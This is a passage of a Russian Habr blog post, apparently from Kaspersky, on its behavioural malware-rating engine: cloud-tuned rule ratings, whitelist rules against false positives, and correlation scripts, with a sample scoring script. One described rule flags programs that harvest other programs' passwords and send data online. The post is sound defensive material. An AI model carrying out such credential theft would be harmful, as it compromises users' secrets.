По сути, мы получили рычаг для (i) «отстрела» неэффективных и «мёртвых» правил, (ii) временного отключения или тестирования правил, (iii) практически real-time коррекции рейтингов правил с помощью коэффициентов. При этом размер базы коэффициентов составил смешные килобайты и её обновление даже в те годы практически не нагружало Интернет-канал.
Astraea также расширила статистическую базу для вычисления рейтингов: в этом процессе принимали участие не только сигналы от различных эмуляторов, но и многих других сенсоров, которые также отчитывались в KSN. Кроме того, продукт мог получить из облака уже известный вердикт и принять решение, не доводя процесс эмуляции до конца (а в некоторых случаях вообще его не запуская). И ещё приятный плюс — мы можем с высокой степенью достоверности выцеплять из потока для ручного исследования неизвестных «зверей», которые не набирали порогового значения рейтинга, но вели себя уж очень подозрительно.
Важно, что Astraea делает коррекцию правил автоматически — за человеком остаётся функция регулярно оценивать эффективность используемой математической модели и оптимизировать её (патентная заявка [US20140096184](https://www.google.com/patents/US20140096184)).
Наличие глобальной бигдаты сразу раскатало нашу губу на новые идеи для решения старых проблем. Прежде всего — [фалсы](http://eugene.kaspersky.ru/2012/06/20/robota-nad-ashypkamy/). В принципе, эту тему мы подкручивали с самого первого дня реализации SR в продуктах. Но в 2011г. выкатили сразу несколько новых фичей для минимизации ложных срабатываний.
Есть много операций, которые выполняются легитимным софтом с вполне мирными целями. Например, инсталляторы удаляют файлы в папке System32. Авторегулировка рейтинга этой операции приведёт к его необоснованной деградации и мы начнём пропускать реальных зловредов. Здесь требуется некое компромиссное решение, чтобы и волки были сыты и овцы целы. И тогда мы решили разделить механизм вычисления рейтинга на 3 части.
Во-первых, описанная выше калькуляция: чем опаснее поведение и чаще встречается, тем выше рейтинг. Во-вторых, своего рода [вайтлист](http://eugene.kaspersky.ru/2011/12/08/fichi-nevidimogo-fronta-3/)-правила, которые отменяют или корректируют действия обычных правил применимо к конкретным ситуациям или файлам. В-третьих, правила детекта легитимных приложений, которые снижают рейтинг опасности при обнаружении характерного поведения и даже могут формировать рейтинг безопасности.
Пример:
*Правило «Создание ключа автозапуска»*
API функция: **Реестр: установка значения параметра (RegSetValueEx)**
Аргумент 1: **Содержит вхождение "\Registry\Machine\Software\Classes\\*\shellex\ContextMenuHandlers\Notepad++"**
Аргумент 2: **\***
Аргумент 3..N: **\***
Оценка: единичная операция – **1%**, 2-3 операции – **1%**, >3 операций – **1%**
Вредоносность: **Нет**
Здесь ясно видно, что дёргается ключ реестра, однако это всего лишь Notepad++ кидает свою библиотеку. Аргумент правила снимает фолсу, при этом основное правило остаётся неизменным и на другие попытки изменить ключ сработает как положено.
А в 2011 г. мы внедрили ещё одну полезную фичу. Как говорилось выше, в SR правила работали автономно друг от друга и таким образом мы не могли изучить сложные зависимости типа «загрузка файла» — «сохранение файла на диск» — «прописывание в автозапуск». Ведь если проследить подобную зависимость, то можно выдать рейтинг куда больше, чем сумма рейтингов отдельных событий. Или меньше :) И тогда мы решили реализовать в SR2 корреляцию событий для более точного детекта неизвестных зловредов.
Сделали это двумя способами. Во-первых, создали битовые маски, выделяющие группы правил или отдельные правила по OR и AND. Базовое описание — битовый индекс классификации поведения. Изначально такое было придумано для кластеризации зловредов по особенностям их поведения, но аналогичный подход можно применять и для уточнения оценки рейтинга — с помощью масок реализовать функцию типа (RULE76 or RULE151) and (RULE270 or RULE540). Достоинство таких масок — компактность и быстрота работы, недостаток — низкая гибкость.
Во-вторых, сделали специальные скрипты, которые проводят глобальный анализ уже после вычисления SR (патент [US8607349](http://www.google.com/patents/US8607349)). Скрипты могут запускаться поочередно, как независимо, так и по срабатыванию правила. Каждый из них имеет доступ к базе накопленной статистики ранее сработавших правил и групп правил. Как следствие, у нас появилась возможность (i) использовать сложную логику — условия, вычисления, циклы, вызов подпрограмм; (ii) по максимуму использовать нейронные сети; (iii) формировать скриптом не только уточнение к SR рейтингу, но и новые знания, которые будут применяться последующими скриптами.
Например, первый скрипт на основе анализа десятка правил делает вывод «приложение пытается получить пароли других программ». Второй скрипт аналогично делает вывод «приложение передает что-то в Интернет». Третий скрипт делает вывод типа «если приложение проявляет интерес к паролям И передает что-то в Интернет, ТО +100% рейтинга».
Кроме того, скрипты можно «прицеплять» к любому правилу, в итого правило становится своего рода «спусковым крючком» для какого-то алгоритма.
Пример скрипта:
```
Var
S : string;
begin
if copy(ExtractFilePath(APIArg[1]), 2, 100)=':\' then begin
AddSR(20);
s := LowerCase(ExtractFileExt(APIArg[1]));
if S = '.exe' then AddSR(40);
if S = '.com' then AddSR(50);
if S = '.pif' then AddSR(60);
if S = '.zip' then AddSR(-20);
end;
end.
```
В этом примере скрипт оценивает операцию создания файла. Проверяем факт создания файла в корне диска, и за это сразу начисляем 20% SR. Дальше, в зависимости от расширения файла производим начисление дополнительного рейтинга со знаком «+» или «-».
Приведенный пример демонстрирует главный плюс скриптов — возможность сложной дифференцированной оценки аргументов функции с выставлением индивидуального SR рейтинга по результатам различных проверок. Причем некоторые проверки могут повышать рейтинг, некоторые — понижать, что позволяет делать сложные проверки и сложный анализ, нацеленный на дополнительное подавление фалсов.
В качестве бонуса — рисунок руки автора описанной выше технологии. Как есть, практически на салфетке:
А теперь немного о будущем.
Совсем скоро выходит линейка [персональных продуктов](http://www.kaspersky.ru/home-security) 2015 года. В общем, мы подумали-взвесили и решили вообще отказаться от локального SR и полностью перевести расчёт рейтинга в облако. У такого подхода сразу много преимуществ. Качество анализа не пострадает, но **на порядок снизится потребление ресурсов защищаемого компьютера** — все вычисления будут происходить в нашей инфраструктуре. При этом задержка доставки вердикта будет составлять… мнэээ… да практически ничего не будет составлять: эти доли миллисекунд сможет заметить только специальный софт.
Ну, вот так кратенько о нашей волшебной формуле, всего на 10 тыс. знаков. И это действительно только «слегка приоткрытая дверь»: на самом деле знакомство с детальным описанием технологии займёт несколько дней и множество уточнений.
Кстати, вы можете уточнить прямо сейчас, ниже, в комментариях. | https://habr.com/ru/post/228427/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.